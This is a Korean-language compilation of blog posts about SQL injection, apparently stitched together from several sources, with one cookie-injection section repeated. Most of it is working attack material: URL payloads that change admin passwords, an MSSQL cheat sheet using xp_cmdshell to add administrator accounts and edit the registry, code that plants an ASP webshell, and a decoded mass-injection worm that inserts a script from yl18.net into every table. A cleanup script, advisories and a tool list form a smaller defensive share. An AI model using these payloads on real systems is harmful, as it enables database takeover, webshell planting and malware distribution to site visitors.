============================================
우 리가 테이블의 모든 칼럼 이름을 성공적으로 얻게될때 우리는 UPDATE 명령을 사용하거나 테이블안에 새로운 레코드를 삽입하기 위해서 INSERT 명령을 사용 할 수 가 있다.
예를 들자면, neo 의 패스워드를 변경하기 위해서 :
http://duck/index.asp?id=10; UPDATE 'admin_login'
SET 'password' = 'newpas5' WHERE login_name='neo'--
데이터 베이스 안에 새로운 레코드를 삽입하기 위해서 :
http://duck/index.asp?id=10; INSERT INTO
'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
우리는 이제 ID neo2, 패스워드 newpas5 로 로긴 할 수 가 있다.
8.0 How to avoid SQL Injection?
============================================
다음과 같은 경우에 모든 문자열 안에서 싱글 쿼트, 더블 쿼트, 슬래쉬, 백슬래쉬, 세미 콜론, NULL 같은 확장된 문자, 캐리지 리턴, 뉴라인 등과 같은 문자를 필터링 한다면 :
- 사용자로 부터의 입력
- URL 에 있는 패러미터
- 쿠키 안에 있는 값들
숫자 값을 위해서 그것을 SQL 문으로 파싱을 하기전에 그것을 정수로 변환하라.
또는 그것이 정수인지를 확인하기 위해서 ISNUMERIC 를 사용하라.
SQL Server Security tab 안에서 하위 특권 사용자를 사용하여
"Startup and run SQL Server" 를 변환 시켜라.
당신이 사용하지 않는 다음 같은 저장된 프로시저들을 삭제 하라 :
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
9.0 Where can I get more info?
============================================
최근우리가 발견하고 SQL Injection 을 적용한 최근 작품들 중에 하나는 PacketStrom 을 어떻게 해킹 했는지에관한 Rain Forest Puppy 의 문서이다.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
ODBC 에러 메시지들로 부터 정보를 획득하는 방법에 관한 멋진 문서가 여기에 있다.
blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
또한 다양한 SQL 서버상에서 SQL Injection 에 관한 훌륭한 요약집이 여기에 있다.
http://www.owasp.org/asac/input_validation/sql.shtml
SQL Injection 에 관한 Senseport 의 문서 :
http://www.sensepost.com/misc/SQLinsertion.htm
읽어 볼만한 문서들:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf
보통 DBMS에서 SQL injection 취약점이 존재하지만, Cookies에서도 SQL 인젝션을 구현할 수 있다.
http://xmcn.com/city의 개발의 1세트의 개방의 소스코드의 지역사회 절차이다; 여개의 문서는 변수가 존재하여 아직 특수 문자를 필터링하지 않기 때문이고, 사용자가 불법으로 침투하여 관리자 비밀번호를 얻는다. 문제 문서는 비교적 많기 때문이고, 여기를 특별히 1개의 간단한 user photo.asp을 골라 가져 해명으로 한다.
user photo.asp 스크립트는 사용자 사진을 올린 것으로 사용자를 검증하여 이미 로그온된 것인지를 체크한다.
if Request.Cookies("NC")=" " or Request.Cookies("NC")="방문객 "then
Response.Write (" 당신은 지역사회 사용자가 아니어서 등록해 주십시오! ")
Response.End
end if
Cookies를 사용할 때 NC 변수 값이 널이거나 "방문객" 사용자인지를 판단한다. 데이타베이스에 대해 이 사용자가 존재하지 않으며 에러를 리턴한다.
set rs=server.createobject("adodb.recordset")
set rs=conn.execute("Select * from HY Where NC='"&Request.Cookies("NC")&"'")
Request.Cookies에게 (" NC" ) 값을 직접 SQL 쿼리로 밀어 넣는 식의 방식으로 Cookies를 통한 SQL injection을 시도할 수 있다.
..... 부분 코드를 생략한다
" width="200" height="150">
공격)
C:/nc -vv 127.0.0.1 80 <1.txt >1.htm ,그 중 127.0.0.1은 Mini 도시 지역사회의 서버 IP 주소이고80은 포트, 1.htm 서버에서 리턴된 결과를 저장하고, 1.txt은 아래 공격코드임.
1.txt 의 내용
GET /mcity/main.asp HTTP/1.0
Host: 127.0.0.1
Cookie: NC=goo%27and%20exists(select%20id%20from%20HY%20where%20len(MM)%3D0%27and%20NC%3D%27admin%27)%20and%20%271;
우리는 Cookies 중의 NC 데이터를 SQL 인젝션을 시도하여 시스템 명령이 실행가능한지를 알아보려고 한다
Select * from HY Where NC='goo'and exists(select id from HY where len(MM)=7 and NC='admin') and '1'
사용자 이름이 admin인 비밀번호 길이는 7글자 인 것을 알 수 있다. 기타 SQL 쿼리문은 위와 같이 구성한다.
보통 DBMS에서 SQL injection 취약점이 존재하지만, Cookies에서도 SQL 인젝션을 구현할 수 있다.
http://xmcn.com/city의 개발의 1세트의 개방의 소스코드의 지역사회 절차이다; 여개의 문서는 변수가 존재하여 아직 특수 문자를 필터링하지 않기 때문이고, 사용자가 불법으로 침투하여 관리자 비밀번호를 얻는다. 문제 문서는 비교적 많기 때문이고, 여기를 특별히 1개의 간단한 user photo.asp을 골라 가져 해명으로 한다.
user photo.asp 스크립트는 사용자 사진을 올린 것으로 사용자를 검증하여 이미 로그온된 것인지를 체크한다.
if Request.Cookies("NC")=" " or Request.Cookies("NC")="방문객 "then
Response.Write (" 당신은 지역사회 사용자가 아니어서 등록해 주십시오! ")
Response.End
end if
Cookies를 사용할 때 NC 변수 값이 널이거나 "방문객" 사용자인지를 판단한다. 데이타베이스에 대해 이 사용자가 존재하지 않으며 에러를 리턴한다.
set rs=server.createobject("adodb.recordset")
set rs=conn.execute("Select * from HY Where NC='"&Request.Cookies("NC")&"'")
Request.Cookies에게 (" NC" ) 값을 직접 SQL 쿼리로 밀어 넣는 식의 방식으로 Cookies를 통한 SQL injection을 시도할 수 있다.
..... 부분 코드를 생략한다
" width="200" height="150">
공격)
C:/nc -vv 127.0.0.1 80 <1.txt >1.htm ,그 중 127.0.0.1은 Mini 도시 지역사회의 서버 IP 주소이고80은 포트, 1.htm 서버에서 리턴된 결과를 저장하고, 1.txt은 아래 공격코드임.
1.txt 의 내용
GET /mcity/main.asp HTTP/1.0
Host: 127.0.0.1
Cookie: NC=goo%27and%20exists(select%20id%20from%20HY%20where%20len(MM)%3D0%27and%20NC%3D%27admin%27)%20and%20%271;
우리는 Cookies 중의 NC 데이터를 SQL 인젝션을 시도하여 시스템 명령이 실행가능한지를 알아보려고 한다
Select * from HY Where NC='goo'and exists(select id from HY where len(MM)=7 and NC='admin') and '1'
사용자 이름이 admin인 비밀번호 길이는 7글자 인 것을 알 수 있다. 기타 SQL 쿼리문은 위와 같이 구성한다.
1. 다음과 같은 조건식을 삽입한다.
;and 1=1
;and 1=2
;and user>0
2. 기본적으로 제공되는 기본 시스템 오브젝트에 대한 조건식을 검사해 본다.
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
3. where 조건식을 넣어 본다.
'and ''='
'and '%25'='
4. select 구문을 사용한다.
;and (Select Count(*) from [테이블명])>0 --
;and (select top 1 len(열수) from 테이블명)>0
5. 컬럼명 추출
(1) Access 경우 : and (select top 1 asc(mid(컬럼명, 1,1)) from 테이블)>0
(2) Mssql의 경우 : and (select top 1 unicode(substring(컬럼명,1,1)) from 테이블명)>0
6. 데이터베이스 권한
;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(SELECT IS_MEMBER('db_owner'));--
7. 스토어프로시저를 이용한 계정 추가하기
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
8. dir 결과쿼리하기
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
9. 디렉터리 정보 추출하기 및 웹쉘 실행
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;--
;insert into temp(id) exec master.dbo.xp_subdirs 'c:';--
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:';--
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:webindex.asp';--
10. 확장스토어 프로시저 공격
xp_regenumvalues
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionRun'
xp_regread
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','CommonFilesDir'
xp_regwrite
;exec xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','ValueName','reg_sz','hello'
xp_regdeletevalue
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','TestValueName'
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionTestkey'
10.mssql의 backup용 webshell 생성하기
use model
create table cmd(str image);
insert into cmd(str) values ('<% Dim oScript %>');
backup database model to disk='c:l.asp';
11.버전확인하기
;and (select @@version)>0
;and user_name()='dbo'
;and (select user_name())>0
;and (select db_name())>0
12.webshell
use model
create table cmd(str image);
insert int cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='g:wwwtestl.asp';
다음은 페이퍼 목차입니다.
|=--------------------------------------------------------------------=|
|=----------------=[ Full MSSQL Injection PWNage ]=-----------------=|
|=-----------------------=[ 28 January 2009 ]=------------------------=|
|=---------------------=[ By CWH Underground ]=---------------------=|
|=--------------------------------------------------------------------=|
######
Info
######
Title : Full MSSQL Injection PWNage
Author : ZeQ3uL && JabAv0C
Team : CWH Underground [www.milw0rm.com/author/1456]
Website : cwh.citec.us / www.citec.us
Date : 2009-01-28
##########
Contents
##########
[0x00] - Introduction
[0x01] - Know the Basic of SQL injection
[0x01a] - Introduction to SQL Injection Attack
[0x01b] - How to Test sites that are Vulnerable in SQL Injection
[0x01c] - Bypass Authentication with SQL Injection
[0x01d] - Audit Log Evasion
[0x01e] - (Perl Script) SQL-Google searching vulnerable sites
[0x02] - MSSQL Normal SQL Injection Attack
[0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY"
[0x02b] - ODBC Error Message Attack with "CONVERT"
[0x02c] - MSSQL Injection with UNION Attack
[0x02d] - MSSQL Injection in Web Services (SOAP Injection)
[0x03] - MSSQL Blind SQL Injection Attack
[0x03a] - How to Test sites that are Vulnerable in Blind SQL Injection
[0x03b] - Determine data through Blind SQL Injection
[0x03c] - Exploit Query for get Table name
[0x03d] - Exploit Query for get Column name
[0x04] - More Dangerous SQL Injection Attack
[0x04a] - Dangerous from Extended Stored Procedures
[0x04b] - Advanced SQL Injection Techniques
[0x04c] - Mass MSSQL Injection Worms
[0x05] - MSSQL Injection Cheat Sheet
[0x06] - SQL Injection Countermeasures
[0x07] - References
[0x08] - Greetz To
요즘 많은 분들이 MASS SQL Injection 으로 피해를 보고 있는것 같습니다. 필자도 물론 예외는 아니였습니다.
지금에야 '쿠키를 이용한 인젝션공격이였습니다' 라고 이야기를 하지만 얼마전까지만해도 스크립트가 추가된 구문을 볼때마다 필자가 관리하는 서버를 사용하는 분들에게 송구스러운 마음이 참 많았습니다.
예전부터 심심치 않게 SQL Injection 을 이용한 스크립트 삽입공격은 있었습니다.
쿼리스트링에 추가하여서 공격하는 수준이였기때문에 웹나이트(Webknight) 문법으로 전부 막아내는 쿼거(?)도 이루었던 적도 있습니다.
이렇게 자만하다 큰코다친겁니다. 제가 관리하는 몇개의 사이트가 스크립트가 추가되는 사례가 발견되더니 잊을만 하면 한번씩 스크립트가 추가되는 현상을 발견하게 되었고, 쇼핑몰같은 경우는 데이터베이스를 복구할수도 없는 그런 상황까지 겪게 되었습니다.
"목마른 사람이 우물을 판다"고 했던가요..
일단 삽입이 되도록 하는 구문을 분석하여서 이를 바탕으로 스크립트만 삭제하는 구문을 작성하려고 하였습니다. char, nchar, varchar, nvarchar 는 너무 쉽게 변경이 가능했지만 문제는 text, ntext 같은 대용량의 유니코드 형식의 데이터에서 스크립트를 삭제하는 부분이였습니다.
몇몇 다른 분들의 경우 text 타입을 varchar(8000) 으로 변환하고 이를 수정하는 방법을 선택하셨습니다.
이 방법도 좋은 방법입니다. 쿼리만으로 작업을 진행할수도 있고, 일단 SQL 쿼리를 구하기가 쉬웠습니다. ( SQL 쿼리를 공개해주신 분들 감사합니다.)
그래도 문제는 발생하였습니다. 문자열을 신문을 집어 넣은건지 상당히 큰 text 타입의 데이터를 만나버리고 말았던 것이였습니다.
결국 VBScript 를 이용해서 다시 작업을 하도록 변경하였습니다. (사실 SQL 쿼리 수정보다 VBScript가 더 쉽게 생각되었습니다.;)
이래서 탄생한 Replace_string_in_mssql.vbs 입니다.
열기
' *************************************************************************************** ' 디비 변조데이터 복구 스크립트 ' 버 젼 : v1.0 ' *************************************************************************************** Option Explicit 'On Error Resume Next ' 삭제할 자바스크립트 구문 ' 다중입력이 가능하며, 다중입력시 | 로 입력하시기 바랍니다. Const strReplace = "<script src=http://ojkqn.cn></script>|<script src=http://wefd4.cn>|" Const strDBServerIP = "127.0.0.1" ' 접속할 데이터베이스 서버 IP Const strSQLuser = "sa" ' 접속할 데이터베이스 아이디 Const strSQLpass = "1230" ' 접속할 데이터베이스 패스워드 Const strSQLBD = "pubs" ' 접속할 데이터베이스 이름 Dim CRLF, TAB :TAB = CHR( 9 ):CRLF = CHR( 13 ) & CHR( 10 ) Dim AdCn,connectionstring,SQL,DBdata,arrDBData, arrDBData2 Dim SQL_Tables, SQL_Tables_Exists_Javascript, ColumnsArrDBdata, ColumnsTotal, TableArrDBdata, TableTotal, SQL_tmp Dim i, j, db_table, db_column, db_xtype, db_type, db_owner, db_len Dim TablecolumnCheck, SQL_Tables_Replace_Javascript Dim KeyName, Key_code, Key_entry, arr_Replacetxt, Replacetxt arr_Replacetxt = split(strReplace,"|") SQL_Tables = "select o.name, c.name, c.xtype, type = (select t.name from systypes t where t.name <> 'sysname' and t.xtype=c.xtype ) , owner = user_name(uid) " & _ " ,Len = (select case when t.name in (N'nchar', N'nvarchar') then c.length/2 else c.length end from systypes t where t.name <> 'sysname' and t.xtype=c.xtype ) " & _ " from dbo.syscolumns c " & _ " Left Join (select name,id,uid from dbo.sysobjects where xtype='U' " & _ " and (case when (OBJECTPROPERTY(id, N'IsMSShipped')=1) then 1 else OBJECTPROPERTY(id, N'IsSystemTable') end)=0 ) o " & _ " on c.id=o.id where o.name is not null and c.xtype in (35, 99, 167, 175, 231, 239) " & _ " order by o.name, c.name " ' 35 -- text ' 99 -- ntext ' 167 -- varchar ' 175 -- char ' 231 -- nvarchar ' 239 -- nchar connectionstring = "Provider=SQLOLEDB.1;Data Source= "&strDBServerIP&";Initial Catalog="&strSQLBD&";user id = '"&strSQLuser&"';password='"&strSQLpass&"' " SQL = SQL_Tables Set AdCn = CreateObject("ADODB.Connection") AdCn.open = connectionstring set DBdata = AdCn.Execute(SQL) IF Not DBdata.Eof then ColumnsArrDBdata = DBdata.GetRows() ColumnsTotal = UBound(ColumnsArrDBdata, 2)+1 else ColumnsTotal = 0 end if DBdata.Close Set DBdata = Nothing wscript.echo "컬럼갯수 : "&ColumnsTotal If ColumnsTotal>0 then For i=1 to ColumnsTotal db_table = ColumnsArrDBdata(0,i-1) db_column = ColumnsArrDBdata(1,i-1) db_xtype = ColumnsArrDBdata(2,i-1) db_type = ColumnsArrDBdata(3,i-1) db_owner = ColumnsArrDBdata(4,i-1) db_len = ColumnsArrDBdata(5,i-1) SQL = "select count(*) From ["&db_owner&"].["&db_table&"] where CHARINDEX('<script',"&db_column&") > 0 " set DBdata = AdCn.Execute(SQL) IF Not DBdata.Eof then arrDBData = DBdata.GetRows() TablecolumnCheck = arrDBData(0,0) else TablecolumnCheck = 0 end if DBdata.Close Set DBdata = Nothing if TablecolumnCheck > 0 then If db_xtype <> 35 and db_xtype <> 99 then For each Replacetxt in arr_Replacetxt wscript.echo "["&db_owner&"].["&db_table&"] 에서 "&db_column&" 컬럼에 대한 "&Replacetxt&" 삭제중..." SQL = "Update ["&db_owner&"].["&db_table&"] Set "&db_column&" = replace("&db_column&",'"&Replacetxt&"','')" AdCn.Execute(SQL) Next Else SQL = "select name from syscolumns where id in (select id from sysobjects where name = '"&db_table&"') " SQL = SQL&"and colid in (select sik.colid from sysindexkeys sik join sysobjects so on sik.id = so.id where sik.indid = 1 and so.name = '"&db_table&"')" set DBdata = AdCn.Execute(SQL) IF Not DBdata.Eof then arrDBData2 = DBdata.GetRows() KeyName = arrDBData2(0,0) else KeyName = "" end if DBdata.Close Set DBdata = Nothing If Len(KeyName) > 0 then SQL = "select "&KeyName&","&db_column&" From ["&db_owner&"].["&db_table&"] " set DBdata = AdCn.Execute(SQL) IF Not DBdata.Eof then TableArrDBdata = DBdata.GetRows() TableTotal = UBound(TableArrDBdata, 2)+1 else TableTotal = 0 end if DBdata.Close Set DBdata = Nothing If TableTotal > 0 then for j=1 to TableTotal Key_code = TableArrDBdata(0,j-1) Key_entry = TableArrDBdata(1,j-1) Key_entry = Replace(Key_entry,"'","''") For each Replacetxt in arr_Replacetxt Key_entry = Replace(Key_entry,Replacetxt,"") Next wscript.echo "["&db_owner&"].["&db_table&"] 에서 "&db_column&" 컬럼에 대한 삭제중..." SQL = "update ["&db_owner&"].["&db_table&"] Set "&db_column&" = '"&Key_entry&"' where "&KeyName&"="&Key_code AdCn.Execute(SQL) Next End if End if End if End if next Else wscript.echo "컬럼이 없습니다." end if AdCn.Close set AdCn=Nothing
내용은 무척 간단합니다. 컬럼중에 text, ntext, varchar, char, nvarchar, nchar 에 해당하는 것들에 대해서 "<script" 라는 구문이 포함되어 있으면 삭제작업을 하는 것으로 text, ntext 타입에 대해서만 특별히 ado를 이용해서 처리하였습니다.
PS) 덕분에 웹방화벽인 웹나이트(webknight) 버젼업그레이드와 룰셋의 추가 작업에 매진(?) 하는 기간이
GET /home/site_content_3.asp
s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x6400650063006C00610072006500200040006D00200076006100720063006800610072002800380030003000300029003B00730065007400200040006D003D00270027003B00730065006C00650063007400200040006D003D0040006D002B0027007500700064006100740065005B0027002B0061002E006E0061006D0065002B0027005D007300650074005B0027002B0062002E006E0061006D0065002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C0027002B0062002E006E0061006D0065002B002700290029002B00270027003C0073006300720069007000740020007300720063003D00220068007400740070003A002F002F0079006C00310038002E006E00650074002F0030002E006A00730022003E003C002F007300630072006900700074003E00270027003B0027002000660072006F006D002000640062006F002E007300790073006F0062006A006500630074007300200061002C00640062006F002E0073007900730063006F006C0075006D006E007300200062002C00640062006F002E007300790073007400790070006500730020006300200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D0027005500270061006E006400200062002E00780074007900700065003D0063002E0078007400790070006500200061006E006400200063002E006E0061006D0065003D002700760061007200630068006100720027003B00730065007400200040006D003D005200450056004500520053004500280040006D0029003B00730065007400200040006D003D0073007500620073007400720069006E006700280040006D002C0050004100540049004E004400450058002800270025003B00250027002C0040006D0029002C00380030003000300029003B00730065007400200040006D003D005200450056004500520053004500280040006D0029003B006500780065006300280040006D0029003B00%20AS%20NVARCHAR(4000));EXEC(@S);--
위에서 보다시피 실제 구문은 인코딩되어 있어 금방은 알 수 없게 했다.
공격자는 CAST 구분을 사용해서 공격을 쉽게 탐지하지 못하도록 혼란 공격(Obfuscate Attack) 기법을 사용하고 있다.
CAST 구문은 타입을 다른 타입으로 Convert 시켜주는 역할을 한다.
CAST 된 구문은 "@S"의 Input 되고 실행이 된다.
이 코드를 아래 펄 명령어를 사용해서 디코딩한 것이 다음과 같다.
$ perl -pe 's/(..)00/chr(hex($1))/ge' < input > output
[디코딩 결과]
declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';'
from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar';
set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m);
이 SQL 구문은 sysobject 테이블을 type U(User) 테이블의 모든 row를 가져오는 것이다.
결국 각 오브젝트에 yl18.net. 사이트 주소 코드를 추가하도록 업데이트 명령을 실행 시키는 구문이다.
이 공격을 받은 웹 사이트는 IIS와 MS SQL 서버가 설치된 경우이다. 특히 주목할 것이 바로 Evading을 하기 위해서 CAST나 CONVERT 명령어를 쓴다는데 유의해야 한다.
[원문]
Last Updated: 2008-01-09 09:05:44 UTC
by Bojan Zdrnja (Version: 1)
http://isc.incidents.org/diary.html?storyid=3823
Signature Evasion에 대한 자료는 아래 링크를 참고하세요.
http://www.infosec.co.uk/ExhibitorLibrary/383/WP_SQL_Injection_Protection_LK_20.pdf
지난 12월 9일에 번하드 뭴러(Bernhard Mueller)는 악의를 가진 사용자가 권한을 탈취할 수 있는 취약점을 MS SQL 서버에서 발견했습니다.
이 취약점은 "sp_replwritetovarbin()"이라는 확장 스토어 프로시저(Extended SP)를 구현하는 과정에서 메모리의 경계를 제대로 처리하지 못해 발생합니다. 이로 인해 교묘하게 조작된 코드를 사용하여 힙에 관련된 버퍼 오버플로 공격을 성공시킬 수 있습니다.
취약점이 있는 제품은 다음과 같습니다.
* MS SQL Server 2000 SP4
* MS SQL Server 2000 IA64 SP4
* MS SQL Server 2005 SP2
* MS SQL Server 2005 IA64 SP2
* MS SQL Server 2005 Express Edition SP2
* MS SQL Server 2005 Express Edition Advanced Services SP2
* MS SQL Server Desktop Engine (MSDE 2000) SP4
* MS SQL Server Desktop Engine (WMSDE)
* Windows Internal Database (WYukon) SP2
취약점이 없는 제품은 다음과 같습니다.
* MS SQL Server 7.0 SP4
* MS SQL Server 2005 SP3
* MS SQL Server 2005 x64 SP3
* MS SQL Server 2005 IA64 SP3
* MS SQL Server 2008
* MS SQL Server 2008 IA64
* MS SQL Server 2008 x64
한 편 이 취약점을 이용하는 공격 코드가 인터넷에 공개되어 있으며 아래 코드는 취약점이 있는지 확인할 수 있는 샘플 코드입니다.
|
현재 취약점을 해결하는 패치가 제공되고 있지 않으므로 다음과 같이 sp_replwritetovarbin() 프로시저를 실행하지 않도록 제거하는 것이 좋습니다.
execute dbo.sp_dropextendedproc 'sp_replwritetovarbin'
참고자료: SP를 제거하는 방법
또한 sp_replwritetovarbin() 프로시저를 액세스하지 못하도록 아래와 같이 명령어를 실행해도 됩니다. 명령어는 관리자 권한에서 실행해야 합니다.
use master
deny execute on _replwritetovarbin to public
참고자료: http://www.microsoft.com/technet/security/advisory/961040.mspx
감사합니다.
또한, 최신 서비스팩이나 업데이트를 하지 않더라도 컴퓨터에 아무런 문제가 발생하지 않을까요?
아래의 소식은 유명하고, 안전할거라고 여겨지는 사이트에서 해킹을 당하여 방문자들이 악성코드 피해를 입을 수 있는 가능성을 보여 주고 있습니다. 항상 안티 바이러스를 생활화해야 할 것입니다.
최근 웹 공격이 많아지면서 대형 포탈 뿐만 아니라 유명한 웹 사이트들이 종종 해킹당하는 사태가 벌어지고 있습니다. 지난 주에 발생한 어도비(Adobe) 웹사이트의 해킹 소식을 전합니다.
보안 기업으로 유명한 소포스(Sophos) 사는 어도비 웹사이트에 방문한 사람들이 악성 코드에 감염될 수 있었다고 밝혔다.
소포스는 이러한 문제를 확인하고 지속적으로 어도비에 연락을 취하였으며 지난 주 목요일까지 악성 코드가 웹사이트에 그대로 방치되었다고 한다.
웹 사이트에서 비디오 블러거를 위한 팁을 제공하는 'Vlog IT support centre section' 부분에 'Mal/Badsrc-C'라는 악성 코드가 존재했다고 합니다. Mac/Badsrc-C 악성 코드는 SQL 인젝션 공격을 이용하여 여러 컴퓨터에 널리 감염시키는 위험한 코드이며, 인터넷에서 악성 스크립트를 다운로드하여 실행되면 사용자 PC에 스파이웨어가 설치됩니다.
하지만, 아직까지 어도비 사에서는 명확한 답변을 하지 않고 있습니다.
12. FJ-Injector Framework - 웹 애플리케이션에 SQL Injection 취약점이 있는지 검사하기 위해 디자인된 오픈 소스 무료 프로그램입니다. HTTP 요청을 가로쳐서 변경하기 위한 프록시 기능도 제공합니다. SQL Injection 익스플로잇을 자동화하여 수행합니다. 다운로드
13. SQLNinja - MS SQL 서버를 백 엔드 데이터베이스로 사용하는 웹 애플리케이션의 SQL Injection 취약점을 익스플로잇하는 도구입니다. 다운로드
14. Automatic SQL Injector - SQLNinja와 유사한 도구로, 오류 코드가 반환되는 SQL Injection 취약점을 자동으로 찾아 줍니다. 다운로드
15. NGSS SQL Injector - 데이터베이스에 저장된 데이터를 액세스하기 위한 SQL Injection취약점을 이용하여 익스플로잇합니다. Access, DB2, Informix, MSSQL, MySQL, Oracle, Sysbase 등 다양한 데이터베이스를 지원합니다. 다운로드
개인적인 의견으로는 NGSS가 믿을만 하더군요.
7. Absinthe - GUI 기반의 도구로 블라인드 SQL Injection 취약점에 이용하여 데이터베이스의 스키마와 목록을 자동화 과정으로 다운로드합니다. 다운로드
8. SQL Injection Pen-testing Tool - 웹 애플리케이션에서의 취약점을 찾아 데이터베이스를 점검하도록 설계된 GUI 기반의 도구. 다운로드
9. SQID - SQL Injection Digger. 웹 사이트의 통상적인 오류와 SQL Injection을 찾는 명령행 기반의 도구. 웹 페이지에서 SQL Injection 이 가능한 부분을 찾아내어 취약점을 입력하는 폼을 테스트한다. 다운로드
10. Blind SQL Injection Perl Tool - bsqlbf는 SQL Injection에 취햑한 웹 사이트에서 정보를 가져오도록 작성된 펄 스크립트. 다운로드
To be Continued...
아시다시피, SQL Injection 공격은 웹 페이지에서 데이터베이스를 액세스하는 방식을 통해 공격하는 것으로 대부분의 관리자들은 이러한 위협에 대비하여 코딩을 해야 하며, 웹 방화벽 장비나 웹 나이트와 같은 무료 보안 프로그램을 통해 보안을 향상시키는 방향으로 진행되는 것으로 알고 있습니다.
아래의 제품들은 여러분이 운영하는 사이트가 SQL Injection 공격에 대한 취약점이 있는지 자동으로 검사하여 이를 알려 주는 프로그램입니다. 참고로, 아래의 정보는 웹 애플리케이션 개발자 뿐만 아니라 보안 전문가에게도 유익한 프로그램입니다.
1. SQLIer - 취약점이 있는 URL을 검사하고 사용자의 개입없이 SQL Injection 취약점을 익스플로잇하기 위해 필요한 정보를 점검하려고 시도합니다. 다운로드
2. SQLbftools - 블라인드 SQL Injection 공격을 사용하여 MySQL의 정보를 가져오는 시도를 하는 도구의 모음입니다. 다운로드
3. SQL Injection Brute-forcer - SQL Injection 공격 취약점을 찾고 이를 이용하여 공격하는 자동화 도구입니다. 사용자가 작업하는 내용을 볼 수 있으며, 블라인드 SQL 인젝션을 이용합니다. 다운로드
5. SQL Brute - 블라인드 SQL 인젝션 취약점을 사용하여 데이터베이스에서 데이터를 추출해내는 무작위 도구입니다. MS SQL 서버의 시간, 오류 기반으로 익스플로잇을 수행합니다. 오라클의 경우 오류를 기반으로 합니다. 이 프로그램은 Python으로 작성되었으며 멀티 스레드로 동작하며 표준 라이브러리를 사용합니다. 다운로드
5. BobCat - SQL Injection 취약점의 잇점을 이용하는 감사 도구입니다. 사용자가 사용하는 애플리케이션이 액세스하는 테이블에서 데이터를 가져올 수 있습니다. 다운로드
출처: Security-Hacks.com